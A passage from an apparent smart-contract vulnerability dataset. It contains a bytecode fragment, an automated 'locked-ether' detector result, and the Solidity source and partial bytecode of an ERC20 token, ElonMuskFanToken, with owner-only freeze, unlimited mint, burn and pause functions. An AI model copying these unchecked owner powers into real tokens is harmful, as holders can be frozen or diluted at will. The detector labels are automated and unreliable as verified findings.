5ef207c6e0772f0f56d24317693206c0e47408f2d0b73910160405180910390a1005b33600090815260208190526040902054600114610bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b60005b81811015610d40576000838383818110610be157610be1611aba565b9050602002016020810190610bf69190611a2f565b73ffffffffffffffffffffffffffffffffffffffff161415610c74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43757276654c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015260640161060e565b600160026000858585818110610c8c57610c8c611aba565b9050602002016020810190610ca19190611a2f565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020557f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb244838383818110610cfb57610cfb611aba565b9050602002016020810190610d109190611a2f565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1600101610bc5565b505050565b33600090815260208190526040902054600114610dbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b60005b81811015610d4057600060026000858585818110610de157610de1611aba565b9050602002016020810190610df69190611a2f565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020557f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610e5057610e50611aba565b9050602002016020810190610e659190611a2f565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1600101610dc1565b33600090815260026020526040812054600114610f0e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161060e565b60035470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff16600114610fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f43757276654c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015260640161060e565b506003546fffffffffffffffffffffffffffffffff1690565b336000908152600260205260408120548190600114611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161060e565b50506003546fffffffffffffffffffffffffffffffff808216917001000000000000000000000000000000009004166001149091565b336000908152602081905260409020546001146110e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff8116611160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f43757276654c504f7261636c652f696e76616c69642d6f726200000000000000604482015260640161060e565b7f000000000000000000000000000000000000000000000000000000000000000282106111e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f43757276654c504f7261636c652f696e76616c69642d6f72622d696e64657800604482015260640161060e565b80600583815481106111fd576111fd611aba565b60009182526020918290200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff93841617905560408051858152928416918301919091527f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a791015b60405180910390a15050565b33600090815260208190526040902054600114611302576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526002602090815260408083209290925590519182527f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c91015b60405180910390a150565b336000908152602081905260409020546001146113db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005818154811061143d57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b336000908152602081905260409020546001146114dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff8116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff166115645750600090565b6001546115a090610100810461ffff1690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611ba9565b7cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16905090565b3360009081526020819052604090205460011461163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b33600090815260208190526040902054600114611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b6001805461ffff8381166101009081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ff8416179384905590910416907cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff63010000009091041681101561180d5760015461ffff838116916117b091841690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611ba9565b6117ba9190611be7565b600160036101000a8154817cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff02191690837cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602179055505b60405161ffff831681527fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce928179060200161127d565b336000908152602081905260409020546001146118ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff8116611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43757276654c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015260640161060e565b73ffffffffffffffffffffffffffffffffffffffff81166000818152600260209081526040918290206001905590519182527f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449101611357565b600080602083850312156119a457600080fd5b823567ffffffffffffffff808211156119bc57600080fd5b818501915085601f8301126119d057600080fd5b8135818111156119df57600080fd5b8660208260051b85010111156119f457600080fd5b60209290920196919550909350505050565b803573ffffffffffffffffffffffffffffffffffffffff81168114611a2a57600080fd5b919050565b600060208284031215611a4157600080fd5b611a4a82611a06565b9392505050565b60008060408385031215611a6457600080fd5b82359150611a7460208401611a06565b90509250929050565b600060208284031215611a8f57600080fd5b5035919050565b600060208284031215611aa857600080fd5b813561ffff81168114611a4a57600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060208284031215611afb57600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b6957611b69611b02565b500290565b600082611ba4577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b60007cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83811690831681811015611bdf57611bdf611b02565b039392505050565b60007cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff808316818516808303821115611c1f57611c1f611b02565b0194935050505056fea264697066735822122023cda6d53781a9626362af567c7f70fb5f2097b62b481ce77bc180462f8afd3664736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,916 |
0x0c40ac4da90af40609dbab3a5f27e95e4e6b196a
|
/**
*Submitted for verification at Etherscan.io on 2021-03-22
*/
pragma solidity ^0.5.0;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value
);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
/*
* approve/increaseApprove/decreaseApprove can be set when Paused state
*/
/*
* function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
* return super.approve(spender, value);
* }
*
* function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
* return super.increaseAllowance(spender, addedValue);
* }
*
* function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
* return super.decreaseAllowance(spender, subtractedValue);
* }
*/
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ElonMuskFanToken is ERC20Detailed, ERC20Pausable {
mapping(address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() public ERC20Detailed("ElonMusk.FanToken", "EMF", 18) {
_mint(msg.sender, 100000000 * (10**18));
}
function balanceOf(address owner) public view returns (uint256) {
return super.balanceOf(owner);
}
function transfer(address to, uint256 value)
public
notFrozen(msg.sender)
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public notFrozen(from) returns (bool) {
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyOwner returns (bool) {
require(!frozenAccount[holder]);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyOwner returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function mint(uint256 _amount) public onlyOwner returns (bool) {
_mint(msg.sender, _amount);
return true;
}
function burn(uint256 _amount) public onlyOwner returns (bool) {
_burn(msg.sender, _amount);
return true;
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd1461023057806323b872dd1461025b578063313ce567146102ee578063395093511461031f5780633f4ba83a1461039257806342966c68146103a95780635c975abb146103fc57806370a082311461042b578063715018a614610490578063788649ea146104a75780638456cb59146105105780638da5cb5b1461052757806395d89b411461057e578063a0712d681461060e578063a457c2d714610661578063a9059cbb146106d4578063b414d4b614610747578063dd62ed3e146107b0578063f26c159f14610835578063f2fde38b1461089e575b600080fd5b34801561013957600080fd5b506101426108ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610991565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610abe565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac8565b604051808215151515815260200191505060405180910390f35b3480156102fa57600080fd5b50610303610b39565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032b57600080fd5b506103786004803603604081101561034257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b50565b604051808215151515815260200191505060405180910390f35b34801561039e57600080fd5b506103a7610d87565b005b3480156103b557600080fd5b506103e2600480360360208110156103cc57600080fd5b8101908080359060200190929190505050610ee7565b604051808215151515815260200191505060405180910390f35b34801561040857600080fd5b50610411610fc1565b604051808215151515815260200191505060405180910390f35b34801561043757600080fd5b5061047a6004803603602081101561044e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd8565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b506104a5610fea565b005b3480156104b357600080fd5b506104f6600480360360208110156104ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611170565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b50610525611333565b005b34801561053357600080fd5b5061053c611494565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058a57600080fd5b506105936114be565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106476004803603602081101561063157600080fd5b8101908080359060200190929190505050611560565b604051808215151515815260200191505060405180910390f35b34801561066d57600080fd5b506106ba6004803603604081101561068457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061163a565b604051808215151515815260200191505060405180910390f35b3480156106e057600080fd5b5061072d600480360360408110156106f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611871565b604051808215151515815260200191505060405180910390f35b34801561075357600080fd5b506107966004803603602081101561076a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e0565b604051808215151515815260200191505060405180910390f35b3480156107bc57600080fd5b5061081f600480360360408110156107d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b6040518082815260200191505060405180910390f35b34801561084157600080fd5b506108846004803603602081101561085857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611987565b604051808215151515815260200191505060405180910390f35b3480156108aa57600080fd5b506108ed600480360360208110156108c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b4b565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109875780601f1061095c57610100808354040283529160200191610987565b820191906000526020600020905b81548152906001019060200180831161096a57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109ce57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b600083600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b2457600080fd5b610b2f858585611d9b565b9150509392505050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b8d57600080fd5b610c1c82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff161515610e6757600080fd5b6000600660146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610fae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610fb83383611dee565b60019050919050565b6000600660149054906101000a900460ff16905090565b6000610fe382611f44565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611237576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561128f57600080fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff1615151561141457600080fd5b6001600660146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115565780601f1061152b57610100808354040283529160200191611556565b820191906000526020600020905b81548152906001019060200180831161153957829003601f168201915b5050505050905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611627576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6116313383611f8d565b60019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561167757600080fd5b61170682600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600033600760008273ffffffffffffffffffffffffffffffffff